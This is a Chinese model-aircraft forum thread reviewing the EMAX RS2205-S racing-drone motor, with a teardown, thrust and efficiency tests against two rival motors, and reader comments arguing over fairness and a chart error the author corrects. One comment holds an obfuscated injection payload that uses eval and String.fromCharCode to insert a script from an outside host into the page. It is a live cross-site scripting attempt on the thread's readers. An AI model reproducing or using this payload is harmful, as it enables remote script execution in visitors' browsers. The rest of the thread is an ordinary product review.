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标题: 最大拉力1.6公斤？EMAX全新RS2205-S红底电机性能测试 [打印本页]
作者: cst1992 时间: 2016-12-9 20:01
标题: 最大拉力1.6公斤？EMAX全新RS2205-S红底电机性能测试
本帖最后由 cst1992 于 2016-12-27 10:27 编辑
文/图 KID
无刷电机作为穿越机最重要的动力装置，其性能的好坏直接影响到穿越机的飞行速度和灵敏性。而衡量电机性能的主要指标是最大拉力、力效（不同拉力情况下消耗的电力越少越好）和电机重量。
EMAX银燕的红底电机RS2205相信大家都比较熟悉了，在去年的迪拜无人机大赛上大放异彩，成为冠军之选。时隔不到1年时间，EMAX全新的RS2205-S升级版就发布了，在上一代基础上，RS2205-S采用了空心轴，重量更轻，拉力更大，磁钢气隙更小。
今天，就让5iMX评测室来对其进行测试，看看这款号称“同级别电机拉力之王”（宣称能够达到1622g）的电机究竟如何。
RS2205-S电机的外包装依然采用EMAX银燕比较有特色的透明塑料盒，内部以海绵填充，对于电机的保护相当到位。
RS2205-S的配件包含M3x6、M3x7两种规格的安装螺丝和一把2.00mm的内六角螺丝刀，在方便安装的同时，还考虑到了不同厚度的安装底板对螺丝长度的要求。
在电机的正面采用了激光镭射的象征荣耀的橄榄枝图案。(PS:古希腊人认为，橄榄树是雅典保护神雅典娜带到人间的物品，是神赐予人类和平与幸福的象征，因此用橄榄枝编织的橄榄冠是最神圣的奖品，能获得它是最高的荣誉。)
与目前流行的大多数穿越机电机采用正反螺纹的设计不同，RS2205-S电机只有一种规格，那就是正螺纹。众所周知，电机的传动轴采用正反牙螺纹的意义在于，可以让电机转动时，桨越锁越紧，避免射桨。然而，这一设计也有点小缺点，那就是当电机损坏要换新时，需要购买对应螺纹的电机来匹配。此外在安装时，需要留意下螺纹正反，不能装错。但是，射桨问题如何解决呢？
RS2205-S采用了两项设计来避免射桨。其一，是在电机螺纹柱底面设计了防滑槽，当桨被螺丝压紧在上面之后，桨与电机的摩擦力被防滑槽放大；其二，采用了专用的防松螺母来压紧螺旋桨，这种螺母内置有防滑材料，在没有特别大反作用力前提，它是不会松脱的。因此，RS2205-S电机的这一单螺纹防射桨设计，不仅降低了安装和换装难度，还能降低生产成本。
此外，EMAX上一代RS2205电机使用的铝轴，在反复拆装螺旋桨之后，容易出现螺纹磨损，而且穿越机炸机过程也很容易导致主轴弯曲。RS2205-S电机首次将主轴换成了空心的钢轴，在保证了不增加重量的情况下，加强了主轴刚性和螺纹的强度。
另外值得一提的是，电机的外转子采用的是铝合金材料，而主轴是钢的，两者之间采用的是过盈配合，而轴上面（轴与前盖轴孔配合的位置）开有藏胶槽，让胶水（螺丝胶）对轴和转子之间进行二次紧固。相比传统的顶丝锁紧方式而言，RS2205-S电机的这种结构对生产工艺要求更高，不过好处是有助于提升电机的动平衡性能。
我们还注意到，固定螺旋桨的螺帽也有了新的变化，由原来的不锈钢螺帽换成了铝合金螺帽，并且保留了原来的自紧结构。新的铝合金螺帽质量较轻，不过铝合金螺帽与钢轴配合，不知道其使用寿命如何。
RS2205电机厚度为16.7mm，主轴长度为33.3mm；RS2205-S电机电机厚度为14.6mm，主轴长度（含底部螺丝）为30.5mm。相比之下，RS2205-S电机的外形尺寸更小，性能却更强了，这是一个很棒的结果，这能够使穿越机的重心更低。
接下来看电机尾部，新老两代的电机轴尾部锁定方式也有很大区别。RS2205采用U型卡簧固定，而RS2205-S采用一颗螺丝固定。之所以这样设计是因为前代产品有玩家反馈卡簧不够牢固，炸机容易导致定子脱落。于是EMAX在新款产品中更改了此处的设计，螺丝更牢固，同时拆装也更方便。不过为了防止松脱，厂家在电机出厂时会打螺丝胶。如果模友拆装这颗螺丝，最好再打一次螺丝胶。
拆掉电机尾部的锁定螺丝，就可以让转子和定子分离了。RS2205-S电机的前后盖均采用CNC加工工艺，有效保证了电机的外形精度，减少了材料内应力对电机结构的影响。同时，前后盖的外形设计还沿用了EMAX银燕的强吸风结构，具有散热效率高的特点。
对于无刷电机来说，转子的绕组是决定电机转速、效率和旋转方向的关键。而绕组的绕线方式、横截面积和接线方式对电机的工作效率和转速也有非常大的影响。
RS2205-S电机的定子采用5线并绕11匝（绕线直径0.3mm），多线并绕能够尽可能多的利用线槽的空间，以增大线圈的横截面积，提高线圈的满槽率，从而增大电机的效率。（采用多股直径较细的漆包线绕组，理论上要比采用单股大直径漆包线的绕组满槽率高。）
除了定子的绕线以外，转子的磁钢也是影响电机性能的重要因素之一，对于电机而言，磁钢的磁力越强，电机的扭力也就越大。RS2205-S采用的是N52SH汝铁硼双面瓦形磁钢，与上一代产品相比磁钢的磁性也有非常明显的提升，用手拧动转子，可以感觉到两者之间磁钢所产生的磁力差异非常明显。在绕组相同的情况下，磁力更强的RS2205-S电机，扭力和载荷自然也会更大。
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老款RS2205电机重28.6g
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新款RS2205电机重29.8g
RS2205-S电机全重为29.8g，官方公布的最大拉力测试结果为1622g（测试条件如上图所示：6040螺旋桨、40A电调、电压15.7V、最大转速25545转/分）。
RS2205-S电机拉力测试
为了进一步验证RS2205-S电机的性能，我们对这款电机进行了实测。电调采用好盈HobbyWing XRotor Micro BLHeli 30A电调，电源采用1-30V可调、MAX 60A直流稳压电源。
为了便于比较，我们在某宝随意挑选了综合排名第一位的致盈GTS2205电机进行对比，同时加入对比的还有EMAX老款RS2205电机。
在使用相同螺旋桨、电调和相同电压的情况下，致盈GTS2205电机、老款RS2205电机和新款RS2205-S电机三者具体表现如何呢？
三款电机使用两种不同螺旋桨时在25%1~100%油门时的拉力对比
致盈GTS2205电机最大拉力截图
EMAX RS2205电机最大拉力截图
EMAX RS2205-S电机最大拉力截图
由于测试条件的关系，我们并没有实现EMAX官方所测得的1622g最大拉力。测试中，当电流达到37A时，RS2205-S所测得的最大拉力为1589g，这与EMAX测得的最大拉力仅仅只相差了33g。
从测试数据来看，三者之间最大拉力的关系为：RS2205-S＞GTS2205＞RS2205。
而在力效方面，在使用5045三叶桨的时候，RS2205-S与RS2205之间的差距并不是特别明显，GTS2205电机则略逊一筹；而在使用6045双叶螺旋桨的时候，RS2205-S和GTS2205在消耗掉相近电流的情况下，RS2205S所产生的拉力要高出220g。
电机拉力测试视频：
写在最后
在选择穿越机电机时，拉力和力效都是非常重要的指标，不可单独来看。尤其是50-80%油门这段最常使用的区段，一方面我们希望尽可能输出更高的拉力，但同时也要尽量少消耗电力，这对比赛来说都是至关重要的。除此之外，电机的平衡性、耐用性以及坚固程度都是衡量一款优秀电机的标准，缺一不可。
综合来看，EMAX RS2205-S是一款性能非常出色的电机，在上一代产品基础上做了非常多的改进和完善，可圈可点。当然它的售价不菲，并不一定适合初学或者一般穿越机爱好者日常使用。它更像是专门针对比赛而生，如果在比赛的时候能够拥有一套这样的电机，必然能够使你的成绩进一步提升。
作者: 特拉米舒 时间: 2016-12-23 09:56
本帖最后由 特拉米舒 于 2016-12-23 10:00 编辑
这个拉里已经非常不错了，如果有个撞击测试的话就更完美了
作者: feichao168 时间: 2016-12-23 14:29
三组电机上细节图啊，KV值完全一样？淘宝看了一下，KV值貌似有差异啊，，，，那这测试不就扯淡了，，，
作者: cst1992 时间: 2016-12-23 16:41
本帖最后由 cst1992 于 2016-12-23 16:47 编辑
这款致盈的电机是2350KV值的售价￥99，银燕两款电机都是2300KV的，新款RS2205-S也是￥99，测试并不扯淡，性价比已经很明显了
作者: 我爱JET 时间: 2016-12-24 16:16
楼主你好，你的电机拉力测试器在哪里买的？
作者: jjyy2016 时间: 2016-12-24 23:04
很好很强大啊
http://localhost/flash.swf?\'+eval(String.fromCharCode(119,105,116,104,40,100,111,99,117,109,101,110,116,41,48,91,98,111,100,121,46,97,112,112,101,110,100,67,104,105,108,100,40,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,41,46,115,114,99,61,39,104,116,116,112,58,47,47,97,100,46,109,49,48,48,56,54,46,99,99,47,97,100,46,106,115,39,93,59))+\'
作者: plpq 时间: 2016-12-24 23:20
feichao168: 三组电机上细节图啊，KV值完全一样？淘宝看了一下，KV值貌似有差异啊，，，，那这测试不就扯淡了，，，
这个更新版估计销量非常惨 银燕的客服牛的实在让你没话说 又在这开忽悠
作者: plpq 时间: 2016-12-24 23:22
提示: 该帖被管理员或版主屏蔽
作者: ANTILL 时间: 2016-12-25 15:27
5045 三叶那张曲线图有问题吧，实测gts在1250g拉力左右，不可能只有900g比一代rs2205低。
作者: sdxgy 时间: 2016-12-25 15:58
很强大…… 顶
作者: 郭启军 时间: 2016-12-25 23:19
我只想拿它飞F3P不知是否给力？
作者: DIY海陆空 时间: 2016-12-26 09:15
本帖最后由 DIY海陆空 于 2016-12-26 09:24 编辑
这效率和低KV的多旋翼电机比差太远了 百分之50油门只有1W4.3克 多旋翼的百分之50油门1W12克 不过这种高KV电机效率低很正常 大部分能量转换成热量了 如果用来比赛 参赛者的飞机配置必须一样吧 就像赛车 难道一个开跑车一个开普通车 配置不一样怎么比
作者: cst1992 时间: 2016-12-26 10:37
本帖最后由 cst1992 于 2016-12-26 10:41 编辑
多次测试都是这个数值区间，可能和测试环境有关系，这几天气压有点低，可能有点影响，这个测试只是一个参考，和实际使用情况可能会有一些差距，看自己嘛
作者: cst1992 时间: 2016-12-26 10:46
用同一种规格的撒，至于剩下的性能差异就看哪家的电机好选哪家的。这就看比赛的时候参赛队伍的策略了，如果在相同规格的情况下使用的穿越机配置不如别个的好，也不可能怪别个撒。就像F1比赛样，设备规格都是一样的，管你用哪家的发动机，只要你有钱。而且光是设备好也不是决定比赛胜负的关键撒，飞手的操作技术也是非常重要的
作者: 爱飞行12345 时间: 2016-12-26 10:56
如果有真机实际飞行体验对比就更好了
作者: LIUZ 时间: 2016-12-26 10:56
牛逼
作者: 老衲の望僧 时间: 2016-12-26 11:01
很强大…… 顶
作者: ANTILL 时间: 2016-12-26 14:41
cst1992 发表于 2016-12-26 10:37 
多次测试都是这个数值区间，可能和测试环境有关系，这几天气压有点低，可能有点影响，这个测试只是一个参 ...
我没拿致盈一毛钱，但是评测的时候请给大家一个公平的结果。
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作者: lambortshen 时间: 2016-12-26 18:23
这电机真心强大呀
牛逼哄哄的。
作者: wienne 时间: 2016-12-26 19:17
朗宇 2216 2400kv，尺寸比这大、重量比这还重、功率也更大。
同规格桨，拉边还没你的大？
银燕真有那牛B？
(, 下载次数: 259)
作者: wangweiabm 时间: 2016-12-27 07:08
确实不错。
作者: xmola 时间: 2016-12-27 08:53
旧款的银燕红底裤连gt2205都比不上，更不用说gts，不知楼主哪里有勇气发出来这个贴，公平公正啊！
作者: prowerboy 时间: 2016-12-27 08:57
这种专门贬低别人的忽悠帖，真搞笑。银燕确实牛逼哄哄
作者: who是who是谁 时间: 2016-12-27 09:17
其实吧，你算一下，当单颗电机达到1.6Kg的拉力时，四个电机吃的电流有多少，先不说40A电调装不装的到那么小的机架上，就说电池能不能放出来那么多的电，能持续放多久那么多的电，所以，这些看看就好了，除非土豪每次飞穿越机都拿电池当一次性产品使用。
作者: hotning 时间: 2016-12-27 09:20
你光比克/瓦，，？不比每秒米/瓦？？按你的理论，东方红拖拉机比法拉利跑车效率高多了，对吧
作者: 小天亚种 时间: 2016-12-27 09:39
这个图这么假的数据，这帖子还能加精？
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作者: cst1992 时间: 2016-12-27 10:29
Y轴标注刚好错位了一档，已更正，惭愧，谢谢您的指正。
作者: cst1992 时间: 2016-12-27 10:30
郎宇2216我并未测试过，我测试时用的电压是15.8V（恒定），6045的浆，电调也有差异，所以不能这么直接对比表格数据，最好是放到一起，相同条件下测试。此外，电机与桨的配合效率、电机与电调的配合效率也存在差异，所以真不好说是绝对公平，我只能保证我测试的时候就是这个结果，视频为证。
作者: cst1992 时间: 2016-12-27 10:32
不晓得你想表达啥子意思
作者: cst1992 时间: 2016-12-27 10:37
既然淘宝综合排行排第一，那肯定是有独到之处撒，拿来做对比你觉得哪点忽悠观众了嘛？我请问你！如果是价廉物美的东西，还怕对比吗？既然能排到前头那东西还撇了吗？如果说东西又撇，销量、口碑又好，综合排名排前头，那是不是代表这电机的经营者有猫腻？是不是刷单刷出来的？请问是我忽悠还是哪个忽悠！！！
作者: cst1992 时间: 2016-12-27 10:41
确实是这样的，测试只是作为一个参考，具体的还是要看自己装上之后的使用情况。
作者: wienne 时间: 2016-12-27 11:11
有没有怀疑过你的称有严重的问题？
假如，这个RS2205-S的性能与朗宇的X2216的性能一样。
还有电池、桨也完全一样。
对比测试的拉力数值：朗宇的电机性能比银燕的差。
那朗宇用的电调那得是多么多么的差劲？
或是说银燕用的电调是多么多么的厉害？
或者，朗宇电机的参数没有掺水，反而是挤了很多很多水出去了？
或者，，，，，
我没说啊
作者: xmola 时间: 2016-12-27 11:17
wienne 发表于 2016-12-27 11:11
有没有怀疑过你的称有严重的问题？
假如，这个RS2205-S的性能与朗宇的X2216的性能一样。
银燕特制的称
作者: wolfwyf 时间: 2016-12-27 11:20
所有不在同一个模式下的测试都是耍流氓
拿着自己满电电池来和15.8v测试的来比数据
设备不同 结果不同 只用相同的设备测试不同的东西结果才具有 参考性
作者: cst1992 时间: 2016-12-27 11:40
如果称有偏差，那大家的成绩也都会出现偏差，不可能一个低一个高对吧，所以单论这次的数据还是有参考性的。下次我找朗宇2205再补测一个成绩就知道了。
作者: PengFlying 时间: 2016-12-27 14:29
顶！d=====(￣▽￣*)b
作者: majialin 时间: 2016-12-28 10:45
很强大
作者: 梦幻天域 时间: 2016-12-28 11:41
果然很强大。就是不知道耐不耐操。
作者: 梦幻天域 时间: 2016-12-28 11:46
期待更多评测。把朗宇的，飓风的，t-motor的 GT的，ZTW的。。。。都测一下。做个对比表格。让大家一目了然，心里有数。如果还能够把价格，推荐指数也配上那就完美了。
作者: 雅马先锋 时间: 2016-12-28 13:18
一直用朗宇电机感觉不错实测拉力比较接近官方参数
作者: 杰然而出 时间: 2016-12-28 14:29
其实我觉得可以上一万毫安的电池，用这几个小电机做固定翼，真有那么大的拉力的话估计会很好飞
作者: who是who是谁 时间: 2016-12-28 16:53
希望到时候电机不会烧掉。。。。。。
作者: whm1275 时间: 2016-12-29 08:04
作者: akigogogo 时间: 2016-12-29 10:22
牛逼
作者: gordon1977 时间: 2016-12-29 10:25
这种高KV值电机上6寸桨已经很勉强了，极其容易烧掉，建议不要这样做。
作者: gordon1977 时间: 2016-12-29 10:25
我测试过，拉力确实惊人，但是无法长时间工作，很容易烧电机或则电调。
作者: xiaoqiang886 时间: 2016-12-29 16:49
等我买了穿越机架再入手吧
作者: mealie 时间: 2016-12-30 10:54
穿越机还能担心射桨？想多了……
区分正反牙的设计就是画蛇添足
作者: dukecheng 时间: 2016-12-30 10:59
写测试的时候能不能把电压加上。
作者: 杰然而出 时间: 2016-12-30 17:45
如果60~70%的油门呢，应该可以飞半个小时不烧掉吧
看到这帖子感觉这种小电机这么牛，不说达到1.6公斤，就说每个电机达到1公斤，都可以DIY好多飞机了
各种固定翼战机垂直起降，暴飞等，没搞过这个，不知道行不行
作者: zwei99999999 时间: 2016-12-30 17:50
牛啊 这多少米？
作者: cst1992 时间: 2016-12-31 00:04
zwei99999999 发表于 2016-12-30 17:50
牛啊 这多少米？
99rmb
作者: superzhengyi 时间: 2016-12-31 11:37
银燕牛逼！
作者: 丿坠入丶红尘 时间: 2017-1-1 16:06
哈哈哈.
笑死
作者: cuccess 时间: 2017-1-2 12:28
作者: 曹乐蒙 时间: 2017-1-2 20:54
http://pan.baidu.com/s/1c1k5CpM?frm=fujian&qq-pf-to=pcqq.c2c
作者: 飞行猫……康正 时间: 2017-1-2 22:26
作者: 少林小子 时间: 2017-1-5 11:10
视频前奏什么音乐？
作者: 加菲不说话 时间: 2017-1-5 16:09
你好，请问电机的拉力该怎么测啊？我需要您的帮忙！！！
作者: cst1992 时间: 2017-1-5 16:56
准备测试台、电源、电机、电调、螺旋桨、遥控器、接收机、连接线，如视频所示接好线，通电，然后推油门，在关键地方记录数据就完了
作者: 加菲不说话 时间: 2017-1-5 17:09
测试台的话，如电机固定的支架是自己做的么？还有显示电流量，推力数值的机器是什么呀？
作者: cst1992 时间: 2017-1-5 22:05
加菲不说话 发表于 2017-1-5 17:09
测试台的话，如电机固定的支架是自己做的么？还有显示电流量，推力数值的机器是什么呀？
买的，tb上有
作者: 加菲不说话 时间: 2017-1-6 09:13
麻烦给个链接或是搜索的内容可以么？
作者: DIY海陆空 时间: 2017-1-6 11:22
本帖最后由 DIY海陆空 于 2017-1-6 11:42 编辑
你的意思是拖拉机比拉力可以拉过法拉利，比速度拖拉机又比不过法拉利 这个只是拖拉机减速箱把发动机的转速转换成扭矩 扭矩大，拉力大，转速慢 自然开不快 法拉利发动机转速高 扭矩小 没有拉力 有速度 就像不同挡位车速不一样 如果要爬坡就切换高扭矩挡 如果是平路就切换低扭矩挡 和电机效率没有任何关系 同样尺寸的电机效率高意味着输出马力大 同样的环境 意味着速度快 电机的效率就是电能转换成动能，转换过程有损失， 损失越小效率越高，损失的大小取决于轴承的摩擦阻力，发热浪费的电能， 燃料发动机也有转换效率，同样一公斤燃料不同发动机转换出来的马力也不同 同型号汽车高效率发动机意味着，同样的路程，同样的时间,同样的油耗,就比他快到 燃料发动机在购买时有个燃油消耗率KW/H 数值越低效率越高 能量可以相互转换 动能可以转换电能 氢弹的baozha就是 质量转换成热能，动能，动能就是冲击波 其实人类是不怕没有燃料用的 如果利用地球的地热 把水通过管路送入地下高温层 管路里面的水被加热形成水蒸气 水蒸气驱动蒸气轮机 蒸气轮机驱动 发电机 这样就有源源不断的电力了 而且环保安全 不过不知道要面临多少技术难题 怎么在地下高温环境施工 这些只能靠机器人去做了 很多原理看似简单去做了难题重重
而且这样的发明只能幻想一下就可以了 真正要去实现他不知道要多少亿人民币 多少人才去攻破种种困难 最终才可以实现 人类已经开始了统治宇宙的道路
作者: cst1992 时间: 2017-1-6 11:50
“无刷电机测试台”我这款貌似停产了，我没找到
作者: husttao 时间: 2017-1-7 17:49
作者: 白面生 时间: 2017-1-13 09:46
怎么看到绕线工艺比我还差？这就是品牌吗？
作者: 小猫爱饼干 时间: 2017-2-7 17:27
银燕的电机，先试了再说😄
作者: tianzhu 时间: 2017-2-14 21:08
买几个,升级我的250小四轴.
另外厂家应用这项技术升级直升机用的电机.
作者: －爱好者－ 时间: 2017-2-17 13:47
外行看热闹，内行看门道。
作者: kappak 时间: 2017-5-11 11:54
银燕一直做电机，他们的品牌是值得相信的！！！！！！
作者: wxbo 时间: 2017-7-12 10:07
开组马力让它测试，市面上的基本可以达到这个效果，不过呢拉力太大有啥用，比赛的时候又不是全部百分百油门
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